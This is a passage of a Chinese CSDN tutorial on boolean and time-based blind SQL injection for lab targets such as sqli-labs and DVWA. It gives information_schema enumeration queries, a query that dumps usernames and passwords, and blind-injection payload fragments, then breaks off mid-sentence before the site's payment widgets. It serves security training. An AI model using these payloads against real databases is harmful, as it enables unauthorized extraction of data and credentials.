SQL注入实战之盲注篇(布尔、时间盲注)

本文介绍了SQL注入中的布尔盲注和时间盲注。布尔盲注通过构造逻辑判断获取信息,如数据库名、表名和字段内容。时间盲注利用数据库的延时函数,如MySQL的sleep(),通过响应时间差异判断注入点,例如在sqli-lab的实验中进行数据库名、表名、字段名和数据内容的枚举。
摘要由CSDN通过智能技术生成

首先还是写一下核心的语句吧。

information_schema

schemata(schema_name)

tables(table_schema,table_name)

columns(table_schema,table_name,column_name)



select schema_name from information_schema.schemata;

select table_name from information_schema.tables where table_schema='dvwa';



select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';



select concat(username,password) from dvwa.users;

布尔盲注

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

select id,name from product where id=1 and 1=1

 布尔型盲注步骤和语句

1.判断当前数据库名长度与数据库名称

and select length(database())>n //判断数据库名长度

and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成as
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值